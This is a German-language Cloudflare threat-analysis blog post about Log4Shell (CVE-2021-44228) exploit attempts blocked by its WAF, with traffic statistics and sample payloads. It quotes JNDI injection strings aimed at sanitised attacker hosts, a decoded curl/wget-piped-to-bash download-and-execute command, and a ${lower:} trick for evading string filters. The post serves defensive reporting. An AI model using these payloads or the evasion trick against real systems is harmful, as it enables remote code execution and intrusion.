Ich habe in einem vergangenen Beitrag darüber geschrieben, wie CVE-2021-44228 in Log4j abgewehrt werden kann, wie die Schwachstelle zustande kam und welche Maßnahmen Cloudflare für seine Kunden getroffen hat. Während ich diesen Beitrag verfasse, sind wir gerade dabei, den Schutz aufgrund der Schwere der Sicherheitslücke auch für unsere FREE-Kunden zu implementieren.
Da wir nun über viele Stunden an Daten zu Scans und versuchter Ausnutzung der Schwachstelle verfügen, können wir damit beginnen, die tatsächlich im Internet verwendeten Nutzlasten und Statistiken zu betrachten. Beginnen wir mit den Anfragen, die Cloudflare durch unsere WAF blockiert.
Die Zahl der blockierten Angriffe stieg heute Morgen langsam an (die Zeiten sind in UTC angegeben), wobei der größte Anstieg gegen 18.00 Uhr zu verzeichnen war (etwa 20.000 blockierte Exploit-Anfragen pro Minute). Das Scannen erfolgte jedoch den ganzen Tag über. Wir gehen davon aus, dass dies auch weiterhin der Fall sein wird.
Wir haben auch einen Blick auf die Anzahl der IP-Adressen geworfen, die von der WAF blockiert wurden. Zu jedem Zeitpunkt scheinen zwischen 200 und 400 IPs aktiv zu scannen.
Bisher kamen die meisten Scans oder Exploit-Versuche aus Kanada und dann aus den Vereinigten Staaten.
Viele der blockierten Anfragen scheinen der Erkundung zu dienen, um festzustellen, ob ein Server tatsächlich ausnutzbar ist. Die am häufigsten blockierte Exploit-Zeichenkette ist die folgende (ich habe die Domain-Namen und IP-Adressen bereinigt):
${jndi:ldap://x.x.x.x/#Touch}
Das sieht nach einer einfachen Möglichkeit aus, den Server unter x.x.x.x zu treffen, den der Akteur zweifellos kontrolliert, und zu protokollieren, dass eine Internetwebsite missbraucht werden kann. Das sagt dem Akteur nicht viel. Die zweithäufigste Anfrage enthielt dies:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
Dies erschien im Feld User-Agent der Anfrage. Beachten Sie, dass am Ende des URIs /ua steht. Zweifellos ein Hinweis für den Akteur, dass der Exploit im User-Agent funktioniert.
Ein weiterer interessanter Payload zeigt, dass der Akteur das funktionierende Format (in diesem Fall eine nicht verschlüsselte Anfrage an Port 443 und die Verwendung von http://) detailliert beschrieben hat:
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
Jemand hat versucht, sich als Googlebot auszugeben, und hat einige zusätzliche Informationen hinzugefügt.
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
Im folgenden Fall hat der Akteur auf eine öffentliche Cloudflare-IP zugegriffen und diese IP-Adresse in der Nutzlast des Exploits verschlüsselt. Auf diese Weise konnten sie viele IPs scannen und herausfinden, welche anfällig waren.
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
Eine Variante dieses Schemas bestand darin, den Namen der angegriffenen Website in die Nutzdaten des Exploits aufzunehmen.
${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
Einige Akteure verwendeten kein LDAP, sondern DNS. LDAP ist jedoch das bei weitem am häufigsten verwendete Protokoll.
${jndi:dns://aeutbj.example.com/ext}
Bei einem sehr interessanten Scan wurden Java und Standard-Linux-Befehlszeilen-Tools verwendet. Die Nutzlast sieht wie folgt aus:
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
Der base64-kodierte Teil wird zu einem curl dekodiert und wget wird in bash übertragen („piped“).
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
Beachten Sie, dass die Ausgabe von curl/wget nicht erforderlich ist und daher nur auf einen Server trifft, um dem Akteur zu zeigen, dass der Exploit funktioniert hat.
Schließlich gibt es aktive Versuche, die einfache Blockierung von Zeichenketten wie ${jndi:ldap zu umgehen, indem andere Funktionen von Log4j genutzt werden. Eine gängige Umgehungsmethode scheint beispielsweise darin zu bestehen, die Funktion ${lower} (die Zeichen klein schreibt) wie folgt zu verwenden:
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
Zur Zeit scheint eine Menge Aufklärung im Gange zu sein. Gute und schlechte Akteure suchen weltweit nach anfälligen Servern. Letztendlich wird ein Teil dieser Aufklärungsarbeit in ein tatsächliches Eindringen in Server und Unternehmen münden. Und da die Protokollierung so tief in Front-End- und Back-End-Systeme eingebettet ist, wird manches davon erst nach Stunden oder Tagen offensichtlich.
Wie die Sporen, die im Verborgenen wachsen, brechen einige von ihnen durch den Boden und gelangen ans Licht.
Die Sicherheitsteams von Cloudflare arbeiten kontinuierlich und beobachten wachsam, wie sich die Exploit-Versuche weiterentwickeln. Dabei werden wir die WAF- und Firewall-Regeln nach Bedarf aktualisieren.